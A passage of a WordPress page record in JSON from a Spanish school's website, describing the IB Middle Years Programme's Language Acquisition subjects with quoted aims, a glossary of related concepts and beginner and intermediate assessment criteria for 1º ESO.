{"id":159,"date":"2021-03-21T21:22:24","date_gmt":"2021-03-21T21:22:24","guid":{"rendered":"https:\/\/iesrosachacel.net\/pai_dev\/?page_id=159"},"modified":"2024-06-02T07:17:34","modified_gmt":"2024-06-02T07:17:34","slug":"adquisicion-de-lenguas","status":"publish","type":"page","link":"https:\/\/iesrosachacel.net\/pai_dev\/adquisicion-de-lenguas\/","title":{"rendered":"Adquisici\u00f3n de Lenguas"},"content":{"rendered":"\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button has-custom-width wp-block-button__width-100 is-style-outline is-style-outline--1\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/drive.google.com\/file\/d\/1xLgqI7ElFi17gc0hii5essLBabNbaUSi\/view?usp=sharing\" target=\"_blank\" rel=\"noreferrer noopener\">Gu\u00eda de Adquisici\u00f3n de Lenguas<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Planteamiento_de_la_asignatura\"><\/span>Planteamiento de la asignatura<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">El grupo de asignaturas Adquisici\u00f3n de Lenguas, al que pertenecen Ingl\u00e9s, Franc\u00e9s, Lat\u00edn y griego dentro de la estructura del IES Rosa Chacel, forma parte del Programa de los A\u00f1os Intermedios (PAI) y se integra en su estructura, que hace \u00e9nfasis en el aprendizaje conceptual y en la contextualizaci\u00f3n de los aprendizajes y tiene un enfoque claramente competencial. Los rasgos fundamentales del PAI, que conforman el n\u00facleo de todas las asignaturas del programa, est\u00e1n descritos sucintamente en la p\u00e1gina&nbsp;<a rel=\"noreferrer noopener\" href=\"https:\/\/iesrosachacel.net\/pai_dev\/pai\/\" target=\"_blank\">Fundamentos del Programa de los A\u00f1os Intermedios (PAI)<\/a>.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La capacidad de comunicarse en m\u00e1s de una lengua es esencial en una educaci\u00f3n internacional que promueve el entendimiento intercultural, un aspecto fundamental de la declaraci\u00f3n de principios del IB. El estudio de lenguas adicionales en el PAI proporciona a los alumnos la oportunidad de desarrollar su comprensi\u00f3n de las  caracter\u00edsticas, los procesos y la construcci\u00f3n de la lengua y el concepto de cultura, y les permite comprender que existen distintas formas de vivir, comportarse y ver el mundo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Adquirir una lengua adicional y explorar y reflexionar acerca de las perspectivas culturales de la comunidad propia y las de otros <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">* Es fundamental para desarrollar el pensamiento cr\u00edtico y la mentalidad internacional<br>* Ofrece un marco intelectual que sirve de base al desarrollo personal, la identidad cultural y la comprensi\u00f3n conceptual<br>* Contribuye en gran medida al desarrollo hol\u00edstico de los alumnos y a reforzar las habilidades necesarias para continuar aprendiendo durante toda la vida<br>* Dota a los alumnos de las actitudes y las habilidades de alfabetizaci\u00f3n m\u00faltiple necesarias para comunicarse eficazmente en diversos contextos globales<\/p>\n<cite><em>Sinopsis oficial de la asignatura,&nbsp;<\/em><a href=\"https:\/\/www.ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-language-aquisition-2020-es.pdf\">https:\/\/www.ibo.org\/globalassets\/digital-toolkit\/brochures\/myp-briefs\/myp-brief-language-aquisition-2020-es.pdf<\/a><\/cite><\/blockquote>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">La ense\u00f1anza y el aprendizaje en el grupo de asignaturas de Adquisici\u00f3n de Lenguas se organizan en tres niveles de competencia. Cada nivel se centra en dos fases y hay seis fases en total. Las fases no est\u00e1n organizadas por grupos de edad ni se corresponden con los a\u00f1os del PAI. Al planificar el curr\u00edculo de Adquisici\u00f3n de Lenguas, los profesores tendr\u00e1n que decidir cu\u00e1l es la fase m\u00e1s adecuada para cada alumno o grupo de alumnos en funci\u00f3n del nivel de competencia que puedan alcanzar al final del curso y de las trayectorias de aprendizaje que haya a su disposici\u00f3n.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 24<\/cite><\/blockquote>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_generales_de_las_asignaturas_de_Adquisicion_de_Lenguas\"><\/span>Objetivos generales de las asignaturas de Adquisici\u00f3n de Lenguas<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Adquirir dominio de una lengua adicional, manteniendo al mismo tiempo la lengua materna y el patrimonio cultural propios<\/li>\n\n\n\n<li>Desarrollar el respeto y la comprensi\u00f3n de otros patrimonios ling\u00fc\u00edsticos y culturales<\/li>\n\n\n\n<li>Desarrollar las habilidades de comunicaci\u00f3n necesarias para continuar aprendiendo la lengua, as\u00ed como para el estudio, el trabajo y el ocio en una gama de contextos aut\u00e9nticos, para dirigirse a una variedad de destinatarios con una variedad de prop\u00f3sitos<\/li>\n\n\n\n<li>Permitir que el alumno desarrolle habilidades de alfabetizaci\u00f3n m\u00faltiple en los diversos modos de comunicaci\u00f3n mediante el uso de una gama de herramientas de aprendizaje, como las herramientas multimedia<\/li>\n\n\n\n<li>Permitir que el alumno desarrolle la apreciaci\u00f3n de diversos textos literarios y no literarios, as\u00ed como t\u00e9cnicas cr\u00edticas y creativas para la comprensi\u00f3n y construcci\u00f3n de significado<\/li>\n\n\n\n<li>Facilitar que el alumno reconozca y utilice la lengua como veh\u00edculo del pensamiento, la reflexi\u00f3n, la expresi\u00f3n personal y el aprendizaje en otras asignaturas, y como herramienta para mejorar la alfabetizaci\u00f3n<\/li>\n\n\n\n<li>Facilitar que el alumno entienda la naturaleza de las lenguas y que su aprendizaje es un proceso donde se integran componentes ling\u00fc\u00edsticos, culturales y sociales<\/li>\n\n\n\n<li>Facilitar una mayor comprensi\u00f3n de los rasgos culturales de las comunidades donde se habla la lengua<\/li>\n\n\n\n<li>Fomentar un conocimiento y comprensi\u00f3n de los puntos de vista de personas de la cultura propia y de otras culturas, que muevan al alumno a participar y actuar en la propia comunidad y en otras comunidades<\/li>\n\n\n\n<li>Fomentar la curiosidad, la indagaci\u00f3n, el inter\u00e9s y el goce en el aprendizaje de una lengua como actitudes que se demostrar\u00e1n a lo largo de toda la vida<\/li>\n<\/ul>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Conceptos_relacionados\"><\/span>Conceptos relacionados<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Los conceptos relacionados favorecen la profundidad del aprendizaje. Son disciplinarios y resultan \u00fatiles para explorar los conceptos clave con m\u00e1s detalle. La indagaci\u00f3n sobre los conceptos relacionados ayuda a los alumnos a lograr una comprensi\u00f3n conceptual m\u00e1s compleja y sofisticada. Los conceptos relacionados pueden surgir del tema de una unidad, o de las caracter\u00edsticas y los procesos propios de la asignatura.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 30<\/cite><\/blockquote>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-17d587b0\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Argumentaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Fondo coherente de un texto razonado, que puede o no implicar desacuerdo, debate o persuasi\u00f3n.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Contexto<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Circunstancias sociales, hist\u00f3ricas, culturales y de trabajo en las cuales se produce un texto o una obra.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Convenciones<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Caracter\u00edsticas de un g\u00e9nero literario o no literario, que pueden variar de una lengua a otra. Cada g\u00e9nero tiene t\u00e9cnicas reconocibles, a las que denominamos convenciones literarias o ling\u00fc\u00edsticas, que los escritores utilizan junto con otros rasgos para lograr objetivos art\u00edsticos concretos.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Deducci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Informaci\u00f3n de un texto que va m\u00e1s all\u00e1 de lo que se entiende o es evidente en un primer momento para identificar lo que se podr\u00eda pensar, expresar o considerar correcto. Es el nivel del texto que se suele denominar \u201centre l\u00edneas\u201d.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Destinatario<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Persona a quien va dirigido un texto o representaci\u00f3n: el lector, el oyente, el espectador.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Elecciones de estilo<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El autor toma decisiones respecto a lo que va a describir y c\u00f3mo hacerlo a fin de generar un efecto.<br>Es un t\u00e9rmino gen\u00e9rico que comprende los rasgos literarios y no literarios: recursos ling\u00fc\u00edsticos (por ejemplo, ret\u00f3rica, sintaxis, repetici\u00f3n), recursos literarios (por ejemplo, simbolismo, met\u00e1fora, s\u00edmil) y recursos visuales (por ejemplo, color, textura, simbolismo, primer plano).<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Empat\u00eda<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Actitud de comprensi\u00f3n o identificaci\u00f3n emocional con una persona, personaje, argumentaci\u00f3n o situaci\u00f3n.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Estructura<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Organizaci\u00f3n, distribuci\u00f3n y elementos de un texto, sea cual sea su formato. La estructura favorece la comprensi\u00f3n y la eficacia de la comunicaci\u00f3n. Por ejemplo, puede consistir en una introducci\u00f3n, un desarrollo y una conclusi\u00f3n (como es el caso en algunos tipos de ensayos formales).<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Forma<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Estructura ling\u00fc\u00edstica que puede adoptar la comunicaci\u00f3n. La forma es gramatical, l\u00e9xica y fonol\u00f3gica.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Funci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Prop\u00f3sito o uso de la comunicaci\u00f3n.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Mensaje<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Comunicaci\u00f3n en lengua escrita, oral, verbal o no verbal. El mensaje tambi\u00e9n puede ser un tema o idea subyacente.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Modismo<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Frase hecha o expresi\u00f3n fija cuyo significado no se deduce de las palabras que la forman. Los modismos son exclusivos de una lengua.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Patrones<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Usos del lenguaje y el estilo que pueden ser funcionales, decorativos o sociales, y que reflejan las caracter\u00edsticas distintivas de una lengua.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72<\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Pronunciaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Forma en que se dicen las palabras o se habla una lengua.<br>Sin duda alguna, no es necesario que los alumnos tengan el nivel de pronunciaci\u00f3n propio de un hablante nativo. El acento es parte de la identidad y de la cultura de cada persona, y no es necesario perderlo por completo. La verdadera clave para tener una buena pronunciaci\u00f3n es lograr una \u201cinteligibilidad c\u00f3moda\u201d, esto significa que la persona que escucha sea capaz de entender lo que dice el hablante con un esfuerzo m\u00ednimo.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 72-73<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Prop\u00f3sito<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">El prop\u00f3sito de la comunicaci\u00f3n puede ser, por ejemplo, entretener, relatar, socializar, indagar, informar, persuadir, explicar, instruir, etc.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En t\u00e9rminos literarios, el prop\u00f3sito es la intenci\u00f3n del autor al crear el texto. Como parte de este concepto, los alumnos tambi\u00e9n pueden explorar el  significado, la tesis o argumentaci\u00f3n, el g\u00e9nero (sexo), la edad, el sesgo, las t\u00e9cnicas de persuasi\u00f3n, la funci\u00f3n, la postura cr\u00edtica o el mensaje.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 73<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Punto de vista<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Perspectiva particular que aporta un compositor, un personaje o un interlocutor dentro de un texto, ya sea con respecto al texto mismo o a cuestiones incluidas en este. Tambi\u00e9n implica la posici\u00f3n o atalaya desde la cual parece que se observan y se nos presentan los acontecimientos de una historia. Al explorar este concepto, los alumnos considerar\u00e1n, por ejemplo, el posicionamiento, la voz y el tono.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 73<\/cite><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Sesgo<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Distorsi\u00f3n o exageraci\u00f3n intencionada, que generalmente denota un prejuicio o parcialidad.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 73<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Significado<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Aquello que se comunica de manera intencionada o impl\u00edcita empleando cualquier forma de expresi\u00f3n humana. A veces se lo denomina \u201cmensaje\u201d e incluye \u201cniveles de significado\u201d, matices, denotaciones, connotaciones, deducciones y subtextos.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 73<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Tema<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Materia, hilo o idea dominante que se transmite mediante un texto.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 73<\/cite><\/blockquote>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Voz<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Este concepto se relaciona tanto con la experiencia que tiene un lector de una obra literaria como con el estilo de un autor al producir un texto. La voz es el habla y los patrones de pensamiento caracter\u00edsticos de un narrador; persona narrativa que transmite su actitud, personalidad y car\u00e1cter.<\/p>\n<cite>Gu\u00eda de Adquisici\u00f3n de Lenguas (Para uso a partir de septiembre de 2020 o enero de 2021), p\u00e1g. 73<\/cite><\/blockquote>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading ancla\" id=\"Bloques-LOMCE\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Objetivos_y_criterios_de_evaluacion\"><\/span>Objetivos y criterios de evaluaci\u00f3n<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">El grupo de asignaturas de Adquisici\u00f3n de Lenguas del Programa de los A\u00f1os Intermedios establece tres niveles de logro diferentes que permiten adaptar las ense\u00f1anzas a los distintos niveles de partida de los alumnos. En el IES Rosa Chacel hacemos pruebas iniciales de ingl\u00e9s a los alumnos al comienzo de su recorrido en el centro, en 1\u00ba de ESO, con el fin de establecer grupos flexibles homog\u00e9neos que permitan el avance m\u00e1s r\u00e1pido y eficaz de los alumnos en sus destrezas ling\u00fc\u00edsticas. Estos agrupamientos y sus correspondientes niveles de logro se revisan peri\u00f3dicamente con el fin de ofrecer siempre a los alumnos el mejor horizonte de progreso en el aprendizaje de las lenguas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dado que el alineamiento entre los objetivos del PAI y los del curr\u00edculo espa\u00f1ol es perfecto, en este grupo de asignaturas no es necesario a\u00f1adir ning\u00fan bloque adicional para cumplir con los dos programas, el nacional y el internacional.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"1o_ESO_2o_PAI\"><\/span>1\u00ba ESO (2\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div id=\"wp-block-themeisle-blocks-accordion-7cb523ad\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Nivel inicial<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<div id=\"wp-block-themeisle-blocks-accordion-b916071b\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Comprensi\u00f3n auditiva<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel inicial, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales orales aut\u00e9nticos sencillos y deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Comprensi\u00f3n de lectura<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel inicial, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales escritos aut\u00e9nticos sencillos y deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Expresi\u00f3n oral<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel inicial, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Usar una pronunciaci\u00f3n y entonaci\u00f3n claras de manera comprensible<\/li>\n\n\n\n<li>Comunicar toda o casi toda la informaci\u00f3n necesaria con claridad y eficacia<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Expresi\u00f3n escrita<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel inicial, los alumnos deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Usar una amplia variedad de vocabulario<\/li>\n\n\n\n<li>Usar una amplia variedad de estructuras gramaticales de forma generalmente correcta<\/li>\n\n\n\n<li>Organizar la informaci\u00f3n eficaz y coherentemente con un formato adecuado usando una amplia gama de recursos de cohesi\u00f3n sencillos y algunos complejos<\/li>\n\n\n\n<li>Comunicar toda o casi toda la informaci\u00f3n necesaria teniendo claramente en cuenta el destinatario y el prop\u00f3sito para adecuarse al contexto<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Nivel intermedio<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<div id=\"wp-block-themeisle-blocks-accordion-15d9432a\" class=\"wp-block-themeisle-blocks-accordion exclusive\">\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio A: Comprensi\u00f3n auditiva<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<p class=\"wp-block-paragraph\">Al final del nivel intermedio, los alumnos habr\u00e1n abordado una amplia variedad de textos multimodales orales aut\u00e9nticos sencillos y algunos complejos, y deber\u00e1n ser capaces de:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Identificar informaci\u00f3n expl\u00edcita e impl\u00edcita (datos y\/u opiniones, e informaci\u00f3n complementaria)<\/li>\n\n\n\n<li>Analizar convenciones<\/li>\n\n\n\n<li>Analizar conexiones<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 